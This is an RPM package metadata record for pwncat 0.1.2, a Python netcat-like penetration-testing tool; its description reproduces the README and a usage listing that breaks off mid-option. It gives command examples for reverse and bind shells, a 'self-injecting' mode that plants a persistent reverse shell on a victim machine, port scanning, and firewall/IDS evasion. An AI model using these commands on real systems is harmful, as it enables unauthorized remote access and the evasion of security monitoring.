location_href: 00004617-python-pwncat/python-pwncat-0.1.2-1.src.rpm
checksum_type: sha256
summary:
  Netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell and port forwarding magic - and its  fully scriptable with Python (PSE).

description:
  <center><img alt="pwncat banner" title="pwncat" src="art/banner-1.png" style=""/></center>

  [![](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black)
  [![Documentation Status](https://readthedocs.org/projects/pwn-cat/badge/?version=latest)](https://docs.pwncat.org/en/latest/?badge=latest)
  [![PyPI](https://img.shields.io/pypi/v/pwncat)](https://pypi.org/project/pwncat/)
  [![PyPI - Status](https://img.shields.io/pypi/status/pwncat)](https://pypi.org/project/pwncat/)
  [![PyPI - Python Version](https://img.shields.io/pypi/pyversions/pwncat)](https://pypi.org/project/pwncat/)
  [![PyPI - Format](https://img.shields.io/pypi/format/pwncat)](https://pypi.org/project/pwncat/)
  [![PyPI - Implementation](https://img.shields.io/pypi/implementation/pwncat)](https://pypi.org/project/pwncat/)
  [![PyPI - License](https://img.shields.io/pypi/l/pwncat)](https://pypi.org/project/pwncat/)
  [![Build Status](https://github.com/cytopia/pwncat/workflows/linting/badge.svg)](https://github.com/cytopia/pwncat/actions?workflow=linting)
  [![Build Status](https://github.com/cytopia/pwncat/workflows/building/badge.svg)](https://github.com/cytopia/pwncat/actions?workflow=building)
  > &nbsp;
  > #### Netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and port forwarding magic - and its fully scriptable with Python ([PSE](pse/)). - [docs.pwncat.org](https://docs.pwncat.org)
  > &nbsp;
  <table border="0" cellpadding="0" cellspacing="0" style="border-collapse:collapse; border:none;">
   <thead>
    <tr valign="top" border="0" cellpadding="0" cellspacing="0" style="border:none;">
     <th border="0" cellpadding="0" cellspacing="0" style="border:none;">Code Style</td>
     <th border="0" cellpadding="0" cellspacing="0" style="border:none;"></td>
     <th border="0" cellpadding="0" cellspacing="0" style="border:none;">Integration Tests <sup><small>[2]</small></sup></td>
    </tr>
   </thead>
   <tbody>
    <tr valign="top" border="0" cellpadding="0" cellspacing="0" style="border:none;">
     <td border="0" cellpadding="0" cellspacing="0" style="border:none;">
      <table>
       <thead>
        <tr>
         <th>Styler</th>
         <th>Status</th>
        </tr>
       </thead>
       <tbody>
        <tr>
         <td><a href="https://github.com/psf/black">Black</a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=black"><img src="https://github.com/cytopia/pwncat/workflows/black/badge.svg" /></a></td>
        </tr>
        <tr>
         <td><a href="https://github.com/python/mypy">mypy</a> <sup><small>[1]</small></sup></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=mypy"><img src="https://github.com/cytopia/pwncat/workflows/mypy/badge.svg" /></a></td>
        </tr>
        <tr>
         <td><a href="https://github.com/PyCQA/pycodestyle">pycodestyle</a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=pycode"><img src="https://github.com/cytopia/pwncat/workflows/pycode/badge.svg" /></a></td>
        </tr>
        <tr>
         <td><a href="https://github.com/PyCQA/pydocstyle">pydocstyle</a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=pydoc"><img src="https://github.com/cytopia/pwncat/workflows/pydoc/badge.svg" /></a></td>
        </tr>
        <tr>
         <td><a href="https://github.com/PyCQA/pylint">pylint</a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=pylint"><img src="https://github.com/cytopia/pwncat/workflows/pylint/badge.svg" /></a></td>
        </tr>
       </tbody>
      </table>
     </td>
     <td border="0" cellpadding="0" cellspacing="0" style="border:none;"></td>
     <td border="0" cellpadding="0" cellspacing="0" style="border:none;">
      <table>
       <thead>
        <tr>
         <th><sub>Python</sub><sup>OS</sup></th>
         <th>Linux</th>
         <th>MacOS</th>
         <th>Windows</th>
        </tr>
       </thead>
       <tbody>
        <tr>
         <th>2.7</th>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=ubu-2.7"><img src="https://github.com/cytopia/pwncat/workflows/ubu-2.7/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=mac-2.7"><img src="https://github.com/cytopia/pwncat/workflows/mac-2.7/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=win-2.7"><img src="https://github.com/cytopia/pwncat/workflows/win-2.7/badge.svg" /></a></td>
        </tr>
        <tr>
         <th>3.5</th>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=ubu-3.5"><img src="https://github.com/cytopia/pwncat/workflows/ubu-3.5/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=mac-3.5"><img src="https://github.com/cytopia/pwncat/workflows/mac-3.5/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=win-3.5"><img src="https://github.com/cytopia/pwncat/workflows/win-3.5/badge.svg" /></a></td>
        </tr>
        <tr>
         <th>3.6</th>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=ubu-3.6"><img src="https://github.com/cytopia/pwncat/workflows/ubu-3.6/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=mac-3.6"><img src="https://github.com/cytopia/pwncat/workflows/mac-3.6/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=win-3.6"><img src="https://github.com/cytopia/pwncat/workflows/win-3.6/badge.svg" /></a></td>
        </tr>
        <tr>
         <th>3.7</th>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=ubu-3.7"><img src="https://github.com/cytopia/pwncat/workflows/ubu-3.7/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=mac-3.7"><img src="https://github.com/cytopia/pwncat/workflows/mac-3.7/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=win-3.7"><img src="https://github.com/cytopia/pwncat/workflows/win-3.7/badge.svg" /></a></td>
        </tr>
        <tr>
         <th>3.8</th>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=ubu-3.8"><img src="https://github.com/cytopia/pwncat/workflows/ubu-3.8/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=mac-3.8"><img src="https://github.com/cytopia/pwncat/workflows/mac-3.8/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=win-3.8"><img src="https://github.com/cytopia/pwncat/workflows/win-3.8/badge.svg" /></a></td>
        </tr>
        <tr>
         <th>pypy2</th>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=ubu-py2"><img src="https://github.com/cytopia/pwncat/workflows/ubu-py2/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=mac-py2"><img src="https://github.com/cytopia/pwncat/workflows/mac-py2/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=win-py2"><img src="https://github.com/cytopia/pwncat/workflows/win-py2/badge.svg" /></a></td>
        </tr>
        <tr>
         <th>pypy3</th>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=ubu-py3"><img src="https://github.com/cytopia/pwncat/workflows/ubu-py3/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=mac-py3"><img src="https://github.com/cytopia/pwncat/workflows/mac-py3/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=win-py3"><img src="https://github.com/cytopia/pwncat/workflows/win-py3/badge.svg" /></a></td>
        </tr>
       </tbody>
      </table>
     </td>
    </tr>
   </tbody>
  </table>
  > <sup>[1] <a href="https://cytopia.github.io/pwncat/pwncat.type.html">mypy type coverage</a> <strong>(fully typed: 94.00%)</strong></sup><br/>
  > <sup>[2] <strong>Failing builds do not indicate broken functionality.</strong> Integration tests run for multiple hours and break sporadically for various different reasons (network timeouts, unknown cancellations of GitHub Actions, etc): <a href="https://github.com/actions/virtual-environments/issues/736">#735</a>, <a href="https://github.com/actions/virtual-environments/issues/841">#841</a></sup><br/>
  > <sup></sup>

  Ever accidentally hit <kbd>Ctrl</kbd>+<kbd>c</kbd> on your reverse shell and it was gone for good?
  Ever waited forever for your client to connect back to you, because the Firewall didn't let it out?
  Ever had a connection loss because an IPS closed suspicious ports?
  Ever were in need of a quick port forwarding?<br/>
  > **This one got you covered.**
  Apart from that the current features of `nc`, `ncat` or `socat` just didn't feed my needs and I also wanted to have a single
  tool that works on older and newer machines (hence Python 2+3 compat). Most importantly I wanted to have it in a language that I can understand and provide my own features with.
  (Wait for it, binary releases for Linux, MacOS and Windows will come shortly).

  | Pwncat docs     | Link |
  |:----------------|:-----|
  | Official documentation | [https://docs.pwncat.org](https://docs.pwncat.org) |
  | Official website | [https://pwncat.org](https://pwncat.org) |
  | API documentation | [https://pwncat.org/pwncat.api.html](https://pwncat.org/pwncat.api.html) |
  | Pwncat Scripting Engine | [PSE](https://github.com/cytopia/pwncat/tree/master/pse) |

  Current version is: **0.1.2**

  | [Pip](https://pypi.org/project/pwncat/) |
  |:-:|
  | [![](https://raw.githubusercontent.com/cytopia/icons/master/64x64/python.png)](https://pypi.org/project/pwncat/) |
  | `pip install pwncat` |

  | **[MacOS][mac_lnk]**         | **[Arch Linux][arch_lnk]**   | **[BlackArch][barch_lnk]**         | **[CentOS][centos_lnk]**<sup>[1]</sup>       |
  |:----------------------------:|:----------------------------:|:----------------------------------:|:--------------------------------------------:|
  | [![mac_img]][mac_lnk]        | [![arch_img]][arch_lnk]      | [![barch_img]][barch_lnk]          | [![centos_img]][centos_lnk]                  |
  | `brew install pwncat`        | `yay -S pwncat`              | `pacman -S pwncat`                 | `yum install pwncat`                         |
  | **[Fedora][fedora_lnk]**     | **[Kali Linux][kali_lnk]**   | **[NixOS][nix_lnk]<sup>[2]</sup>** | **[Oracle Linux][oracle_lnk]<sup>[1]</sup>** |
  | [![fedora_img]][fedora_lnk]  | [![kali_img]][kali_lnk]      | [![nix_img]][nix_lnk]              | [![oracle_img]][oracle_lnk]                  |
  |  `dnf install pwncat`        | `apt install pwncat`         | `nixos.pwncat`                     | `yum install pwncat`                         |
  | **[Pentoo][pentoo_lnk]**     |  **[Parrot OS][parrot_lnk]** |
  | [![pentoo_img]][pentoo_lnk]  | [![parrot_img]][parrot_lnk]  |
  |  `net-analyzer/pwncat`       | `apt install pwncat`         |
  > <sup>[1]: Epel repository</sup><br/>
  > <sup>[2]: Unstable</sup>
  [mac_lnk]: https://formulae.brew.sh/formula/pwncat#default
  [mac_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/osx.png
  [arch_lnk]: https://aur.archlinux.org/packages/pwncat/
  [arch_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/archlinux.png
  [barch_lnk]: https://www.blackarch.org/tools.html
  [barch_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/blackarch.png
  [centos_lnk]: https://pkgs.org/download/pwncat
  [centos_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/centos.png
  [fedora_lnk]: https://src.fedoraproject.org/rpms/pwncat
  [fedora_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/fedora.png
  [kali_lnk]: https://gitlab.com/kalilinux/packages/pwncat
  [kali_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/kali.png
  [nix_lnk]: https://search.nixos.org/packages?channel=unstable&query=pwncat
  [nix_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/nixos.png
  [oracle_lnk]: https://yum.oracle.com/repo/OracleLinux/OL8/developer/EPEL/x86_64/index.html
  [oracle_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/oracle-linux.png
  [parrot_lnk]: https://repology.org/project/pwncat/versions
  [parrot_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/parrot.png
  [pentoo_lnk]: https://repology.org/project/pwncat/versions
  [pentoo_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/pentoo.png

  This is just a quick get-you-started overview. For more advanced techniques see **[:computer: Usage](#computer-usage)** or **[:bulb: Examples](#bulb-examples)**.

  <table>
   <tr>
    <td widht="50%" style="text-align:center;">
     <a href="https://www.youtube.com/watch?v=lN10hgl_Ts8&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2&t=0s">unbreakable reverse shells - how to spawn</a><br/><br/>
     <a href="https://www.youtube.com/watch?v=lN10hgl_Ts8&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2&t=0s"><img src="docs/img/video01.png" /></a>
    </td>
    <td widht="50%" style="text-align:center;">
     <a href="https://www.youtube.com/watch?v=VQyFoUG18WY&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2">unbreakable reverse shells - multiple shells</a><br/><br/>
     <a href="https://www.youtube.com/watch?v=VQyFoUG18WY&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2"><img src="docs/img/video02.png" /></a>
    </td>
   </tr>
  </table>

  ```bash

  curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64

  echo "<BASE64 STRING>" | base64 -d > pwncat
  chmod +x pwncat
  ```

  ```bash




  pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445
  ```
  > <sup>[1] [Read in more detail about self-injection](#self-injecting-reverse-shell)

  ```bash

  pwncat -l -e '/bin/bash' 8080 -k
  ```
  ```bash

  pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1
  ```
  ```bash

  pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1
  ```

  ```bash

  pwncat -z 10.0.0.1 80,443,8080
  pwncat -z 10.0.0.1 1-65535
  pwncat -z 10.0.0.1 1+1023

  pwncat -z 10.0.0.1 80,443,8080 -u
  pwncat -z 10.0.0.1 1-65535 -u
  pwncat -z 10.0.0.1 1+1023 -u

  pwncat -z 10.0.0.1 1-65535 -4
  pwncat -z 10.0.0.1 1-65535 -6 -u

  pwncat -z 10.0.0.1 1-65535 --banner
  ```

  ```bash


  pwncat -L 0.0.0.0:5000 everythingcli.org 3306
  ```
  ```bash

  pwncat -L 0.0.0.0:5000 everythingcli.org 3306 -u
  ```

  ```bash


  pwncat -R 10.0.0.1:4444 everythingcli.org 3306
  ```
  ```bash

  pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u
  ```
  > <sub>[SSH Tunnelling for fun and profit :link:](https://www.everythingcli.org/ssh-tunnelling-for-fun-and-profit-local-vs-remote/)</sub><br/>
  > <sub>[`pwncat` example: Port forwarding magic](#port-forwarding-magic)<sub>


  `pwncat` has many features, below is only a list of outstanding characteristics.
  | Feature        | Description |
  |----------------|-------------|
  | [PSE](pse)        | Fully scriptable with Pwncat Scripting Engine to allow all kinds of fancy stuff on send and receive |
  | port scanning  | TCP und UDP port scanning with basic version detection support |
  | Self-injecting rshell | Self-injecting mode to deploy itself and start an unbreakable reverse shell back to you automatically |
  | Bind shell        | Create bind shells |
  | Reverse shell     | Create reverse shells |
  | Port Forward      | Local and remote port forward (Proxy server/client) |
  | <kbd>Ctrl</kbd>+<kbd>c</kbd> | Reverse shell can reconnect if you accidentally hit <kbd>Ctrl</kbd>+<kbd>c</kbd> |
  | Detect Egress     | Scan and report open egress ports on the target (port hopping) |
  | Evade FW          | Evade egress firewalls by round-robin outgoing ports (port hopping) |
  | Evade IPS         | Evade Intrusion Prevention Systems by being able to round-robin outgoing ports on connection interrupts (port hopping) |
  | UDP rev shell     | Try this with the traditional `netcat` |
  | Stateful UDP      | Stateful connect phase for UDP client mode |
  | TCP / UDP         | Full TCP and UDP support |
  | IPv4 / IPv6       | Dual or single stack IPv4 and IPv6 support |
  | Python 2+3        | Works with Python 2, Python 3, pypy2 and pypy3 |
  | Cross OS          | Work on Linux, MacOS and Windows as long as Python is available |
  | Compatability     | Use the `netcat`, `ncat` or `socat` as a client or server together with `pwncat` |
  | Portable          | Single file which only uses core packages - no external dependencies required. |

  |                     | pwncat   | netcat | ncat  | socat |
  |---------------------|----------|--------|-------|-------|
  | Scripting engine    | ✔ Python | :x:    | ✔ Lua | :x:   |
  |                     |          |        |       |       |
  | IP ToS              | ✔        | ✔      | :x:   | ✔     |
  | IPv4                | ✔        | ✔      | ✔     | ✔     |
  | IPv6                | ✔        | ✔      | ✔     | ✔     |
  | Unix domain sockets | :x:      | ✔      | ✔     | ✔     |
  | Linux vsock         | :x:      | :x:    | ✔     | :x:   |
  | Socket source bind  | ✔        | ✔      | ✔     | ✔     |
  |                     |          |        |       |       |
  | TCP                 | ✔        | ✔      | ✔     | ✔     |
  | UDP                 | ✔        | ✔      | ✔     | ✔     |
  | SCTP                | :x:      | :x:    | ✔     | ✔     |
  | SSL                 | :x:      | :x:    | ✔     | ✔     |
  | HTTP                | ✔        | :x:    | :x:   | :x:   |
  | HTTPS               | *        | :x:    | :x:   | :x:   |
  |                     |          |        |       |       |
  | Telnet negotiation  | :x:      | ✔      | ✔     | :x:   |
  | Proxy support       | :x:      | ✔      | ✔     | ✔     |
  | Local port forward  | ✔        | :x:    | :x:   | ✔     |
  | Remote port forward | ✔        | :x:    | :x:   | :x:   |
  |                     |          |        |       |       |
  | Inbound port scan   | ✔        | ✔      | ✔     | :x:   |
  | Outbound port scan  | ✔        | :x:    | :x:   | :x:   |
  | Version detection   | ✔        | :x:    | :x:   | :x:   |
  |                     |          |        |       |       |
  | Chat                | ✔        | ✔      | ✔     | ✔     |
  | Command execution   | ✔        | ✔      | ✔     | ✔     |
  | Hex dump            | *        | ✔      | ✔     | ✔     |
  | Broker              | :x:      | :x:    | ✔     | :x:   |
  | Simultaneous conns  | :x:      | :x:    | ✔     | ✔     |
  | Allow/deny          | :x:      | :x:    | ✔     | ✔     |
  | Re-accept           | ✔        | ✔      | ✔     | ✔     |
  | Self-injecting      | ✔        | :x:    | :x:   | :x:   |
  | UDP reverse shell   | ✔        | :x:    | :x:   | :x:   |
  | Respawning client   | ✔        | :x:    | :x:   | :x:   |
  | Port hopping        | ✔        | :x:    | :x:   | :x:   |
  | Emergency shutdown  | ✔        | :x:    | :x:   | :x:   |
  > <sup>`*` Feature is currently under development.

  Like the original implementation of `netcat`, when using **TCP**, `pwncat`
  (in client and listen mode) will automatically quit, if the network connection has been terminated,
  properly or improperly.
  In case the remote peer does not terminate the connection, or in **UDP** mode, `netcat` and `pwncat` will stay open. The behaviour differs a bit when STDIN is closed.
  1. `netcat`: If STDIN is closed, but connection stays open, `netcat` will stay open
  2. `pwncat`: If STDIN is closed, but connection stays open, `pwncat` will close
  You can emulate the `netcat` behaviour with `--no-shutdown` command line argument.
  Have a look at the following commands to better understand this behaviour:
  ```bash

  printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80

  printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80 --no-shutdown
  ```
  ```bash

  printf "GET / \n\n" | pwncat www.google.com 80
  ```
  ```bash


  pwncat -l 4444 > output.txt
  pwncat localhost 4444 < input.txt




  pwncat -l 4444 --no-shutdown > output.txt
  pwncat localhost 4444 --no-shutdown < input.txt
  ```
  Be advised that it is not reliable to send files via UDP
  ```bash




  pwncat -u -l 4444 > output.txt
  pwncat -u localhost 4444 < input.txt
  ```
  There are many ways to alter this default behaviour. Have a look at the [usage](#computer-usage)
  section for more advanced settings.


  | Behaviour      | ![Alt][Linux] | ![Alt][MacOS] | ![Alt][Windows] |
  |----------------|---------------|---------------|-----------------|
  | Quit (SIGINT)  | <kbd>Ctrl</kbd>+<kbd>c</kbd>  | <kbd>Ctrl</kbd>+<kbd>c</kbd> | <kbd>Ctrl</kbd>+<kbd>c</kbd> |
  | Quit (SIGQUIT) | <kbd>Ctrl</kbd>+<kbd>\\</kbd> | ? | ? |
  | Quit (SIGQUIT) | <kbd>Ctrl</kbd>+<kbd>4</kbd>  | ? | ? |
  | Quit STDIN<sup>[1]</sup> | <kbd>Ctrl</kbd>+<kbd>d</kbd>  | <kbd>Ctrl</kbd>+<kbd>d</kbd> | <kbd>Ctrl</kbd>+<kbd>z</kbd> and <kbd>Ctrl</kbd>+<kbd>Enter</kbd> |
  | Send (NL)      | <kbd>Ctrl</kbd>+<kbd>j</kbd>  | ? | ? |
  | Send (EOL)     | <kbd>Ctrl</kbd>+<kbd>m</kbd>  | ? | ? |
  | Send (EOL)     | <kbd>Enter</kbd>              | <kbd>Enter</kbd> | <kbd>Enter</kbd> |
  > <sup>[1] Only works when not using `--no-shutdown` and `--keep`. Will then shutdown it's socket for sending, signaling the remote end and EOF on its socket.</sup>
  [Linux]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/linux.png "Linux"
  [MacOS]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/osx.png "MacOS"
  [Windows]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/windows.png "Windows"

  Type `pwncat -h` or click below to see all available options.
  <details>
    <summary><strong>Click here to expand usage</strong></summary>
  ```
  usage: pwncat [options] hostname port
         pwncat [options] -l [hostname] port
         pwncat [options] -z hostname port
         pwncat [options] -L [addr:]port hostname port
         pwncat [options] -R addr:port hostname port
         pwncat -V, --version
         pwncat -h, --help
  Enhanced and comptaible Netcat implementation written in Python (2 and 3) with
  connect, zero-i/o, listen and forward modes and techniques to detect and evade
  firewalls and intrusion detection/prevention systems.
  If no mode arguments are specified, pwncat will run in connect mode and act as
  a client to connect to a remote endpoint. If the connection to the remote
  endoint is lost, pwncat will quit. See options for how to automatically re-
  connect.
  positional arguments:
    hostname              Address to listen, forward, scan or connect to.
    port                  [All modes]
                          Single port to listen, forward or connect to.
                          [Zero-I/O mode]
                          Specify multiple ports to scan:
                          Via list:  4444,4445,4446
                          Via range: 4444-4446
                          Via incr:  4444+2
  mode arguments:
    -l, --listen          [Listen mode]:
                          Start a server and listen for incoming connections.
                          If using TCP and a connected client disconnects or the
                          connection is interrupted otherwise, the server will
                          quit. See -k/--keep-open to change this behaviour.
    -z, --zero            [Zero-I/0 mode]:
                          Connect to a remote endpoint and report status only.
                          Used for port scanning.
                          See --banner for version detection.
    -L [addr:]port, --local [addr:]port
                          [Local forward mode]:
                          This mode will start a server and a client internally.
                          The internal server will listen locally on specified
                          addr/port (given by --local [addr:]port).
                          The server will then forward traffic to the internal
                          client which connects to another server specified by
                          hostname/port given via positional arguments.
                          (I.e.: proxies a remote service to a local address)
    -R addr:port, --remote addr:port
                          [Remote forward mode]:
                          This mode will start two clients internally. One is
                          connecting to the target and one is connecting to
                          another pwncat/netcat server you have started some-
                          where. Once connected, it will then proxy traffic
                          between you and the target.
                          This mode should be applied on machines that block
                          incoming traffic and only allow outbound.
                          The connection to your listening server is given by
                          -R/--remote addr:port and the connection to the
                          target machine via the positional arguments.
  optional arguments:
    -e cmd, --exec cmd    Execute shell command. Only for connect or listen mode.
    -C lf, --crlf lf      Specify, 'lf', 'crlf' or 'cr' to always force replacing
                          line endings for input and outout accordingly. Specify
                          'no' to completely remove any line feeds. By default
                          it will not replace anything and takes what is entered
                          (usually CRLF on Windows, LF on Linux and some times
                          CR on MacOS).
    -n, --nodns           Do not resolve DNS.
    --send-on-eof         Buffer data received on stdin until EOF and send
                          everything in one chunk.
    --no-shutdown         Do not shutdown into half-duplex mode.
                          If this option is passed, pwncat won't invoke shutdown
                          on a socket after seeing EOF on stdin. This is provided
                          for backward-compatibility with OpenBSD netcat, which
                          exhibits this behavior.
    -v, --verbose         Be verbose and print info to stderr. Use -v, -vv, -vvv
                          or -vvvv for more verbosity. The server performance will
                          decrease drastically if you use more than three times.
    --info type           Show additional info about sockets, IPv4/6 or TCP opts
                          applied to the current socket connection. Valid
                          parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'.
                          Note, you must at least be in INFO verbose mode in order
                          to see them (-vv).
    -c str, --color str   Colored log output. Specify 'always', 'never' or 'auto'.
                          In 'auto' mode, color is displayed as long as the output
                          goes to a terminal. If it is piped into a file, color
                          will automatically be disabled. This mode also disables
                          color on Windows by default. (default: auto)
    --safe-word str       All modes:
                          If pwncat is started with this argument, it will shut
                          down as soon as it receives the specified string. The
                          --keep-open (server) or --reconn (client) options will
                          be ignored and it won't listen again or reconnect to you.
                          Use a very unique string to not have it shut down
                          accidentally by other input.
  protocol arguments:
    -4                    Only Use IPv4 (default: IPv4 and IPv6 dualstack).
    -6                    Only Use IPv6 (default: IPv4 and IPv6 dualstack).
    -u, --udp             Use UDP for the connection instead of TCP.
    -T str, --tos str     Specifies IP Type of Service (ToS) for the connection.
                          Valid values are the tokens 'mincost', 'lowcost',
                          'reliability', 'throughput' or 'lowdelay'.
    --http                Connect / Listen mode (TCP and UDP):
                          Hide traffic in http packets to fool Firewalls/IDS/IPS.
    --https               Connect / Listen mode (TCP and UDP):
                          Hide traffic in https packets to fool Firewalls/IDS/IPS.
    -H [str [str ...]], --header [str [str ...]]
                          Add HTTP headers to your request when using --http(s).
  command & control arguments:
    --self-inject cmd:host:port[s]
                          Listen mode (TCP only):
                          If you are about to inject a reverse shell onto the
                          victim machine (via php, bash, nc, ncat or similar),
                          start your listening server with this argument.
                          This will then (as soon as the reverse shell connects)
                          automatically deploy and background-run an unbreakable
                          pwncat reverse shell onto the victim machine which then
                          also connects back to you with specified arguments.
                          Example: '--self-inject /bin/bash:10.0.0.1:4444'
                          It is also possible to launch multiple reverse shells by
                          specifying multiple ports.
                          Via list:  --self-inject /bin/sh:10.0.0.1:4444,4445,4446
                          Via range: --self-inject /bin/sh:10.0.0.1:4444-4446
                          Via incr:  --self-inject /bin/sh:10.0.0.1:4444+2
                          Note: this is currently an experimental feature and does
                          not work on Windows remote hosts yet.
  pwncat scripting engine:
    --script-send file    All modes (TCP and UDP):
                          A Python scripting engine to define your own custom
                          transformer function which will be executed before
                          sending data to a remote endpoint. Your file must
                          contain the exact following function which will:
                          be applied as the transformer:
                          def transform(data, pse):
                              
                              
                              
                              
                              return data
                          You can also define as many custom functions or classes
                          within this file, but ensure to prefix them uniquely to
                          not collide with pwncat's function or classes, as the
                          file will be called with exec().
    --script-recv file    All modes (TCP and UDP):
                          A Python scripting engine to define your own custom
                          transformer function which will be executed after
                          receiving data from a remote endpoint. Your file must
                          contain the exact following function which will:
                          be applied as the transformer:
                          def transform(data, pse):
                              
                              
                              
                              
                              return data
                          You can also define as many custom functions or classes
                          within this file, but ensure to prefix them uniquely to
                          not collide with pwncat's function or classes, as the
                          file will be called with exec().
  zero-i/o mode arguments:
    --banner              Zero-I/O (TCP and UDP):
                          Try banner grabbing during port scan.
  listen mode arguments:
    -k, --keep-open       Listen mode (TCP only):
                          Re-accept new clients in listen mode after a client has
                          disconnected or the connection is interrupted otherwise.
                          (default: server will quit after connection is gone)
    --rebind [x]          Listen mode (TCP and UDP):
                          If the server is unable to bind, it will re-initialize
                          itself x many times before giving up. Omit the
                          quantifier to rebind endlessly or specify a positive
                          integer for how many times to rebind before giving up.
                          See --rebind-robin for an interesting use-case.
                          (default: fail after first unsuccessful try).
    --rebind-wait s       Listen mode (TCP and UDP):
                          Wait x seconds between re-initialization. (default: 1)
    --rebind-robin port   Listen mode (TCP and UDP):
                          If the server is unable to initialize (e.g: cannot bind
                          and --rebind is specified, it it will shuffle ports in
                          round-robin mode to bind to.
                          Use comma separated string such as '80,81,82,83', a range
                          of ports '80-83' or an increment '80+3'.
                          Set --rebind to at least the number of ports to probe +1
                          This option requires --rebind to be specified.
  connect mode arguments:
    --source-addr addr    Specify source bind IP address for connect mode.
    --source-port port    Specify source bind port for connect mode.
    --reconn [x]          Connect mode (TCP and UDP):
                          If the remote server is not reachable or the connection
                          is interrupted, the client will connect again x many
                          times before giving up. Omit the quantifier to retry
                          endlessly or specify a positive integer for how many
                          times to retry before giving up.
                          (default: quit if the remote is not available or the
                          connection was interrupted)
                          This might be handy for stable TCP reverse shells ;-)
                          Note on UDP:
                          By default UDP does not know if it is connected, so
                          it will stop at the first port and assume it has a
                          connection. Consider using --udp-sconnect with this
                          option to make UDP aware of a successful connection.
    --reconn-wait s       Connect mode (TCP and UDP):
                          Wait x seconds between re-connects. (default: 1)
    --reconn-robin port   Connect mode (TCP and UDP):
                          If the remote server is not reachable or the connection
                          is interrupted and --reconn is specified, the client
                          will shuffle ports in round-robin mode to connect to.
                          Use comma separated string such as '80,81,82,83', a range
                          of ports '80-83' or an increment '80+3'.
                          Set --reconn to at least the number of ports to probe +1
                          This helps reverse shell to evade intrusiona prevention
                          systems that will cut your connection and block the
                          outbound port.
                          This is also useful in Connect or Zero-I/O mode to
                          figure out what outbound ports are allowed.
    --ping-init           Connect mode (TCP and UDP):
                          UDP is a stateless protocol unlike TCP, so no hand-
                          shake communication takes place and the client just
                          sends data to a server without being "accepted" by
                          the server first.
                          This means a server waiting for an UDP client to
                          connect to, is unable to send any data to the client,
                          before the client hasn't send data first. The server
                          simply doesn't know the IP address before an initial
                          connect.
                          The --ping-init option instructs the client to send one
                          single initial ping packet to the server, so that it is
                          able to talk to the client.
                          This is a way to make a UDP reverse shell work.
                          See --ping-word for what char/string to send as initial
                          ping packet (default: '\0')
    --ping-intvl s        Connect mode (TCP and UDP):
                          Instruct the client to send ping intervalls every s sec.
                          This allows you to restart your UDP server and just wait
                          for the client to report back in. This might be handy
                          for stable UDP reverse shells ;-)
                          See --ping-word for what char/string to send as initial
                          ping packet (default: '\0')
    --ping-word str       Connect mode (TCP and UDP):
                          Change the default character '\0' to use for upd ping.
                          Single character or strings are supported.
    --ping-robin port     Connect mode (TCP and UDP):
                          Instruct the client to shuffle the specified ports in
                          round-robin mode for a remote server to ping.
                          This might be handy to scan outbound allowed ports.
                          Use comma separated string such as '80,81,82,83', a range
                          of ports '80-83' or an increment '80+3'.
                          Use --ping-intvl 0 to be faster.
    --udp-sconnect        Connect mode (UDP only):
                          Emulating stateful behaviour for UDP connect phase by
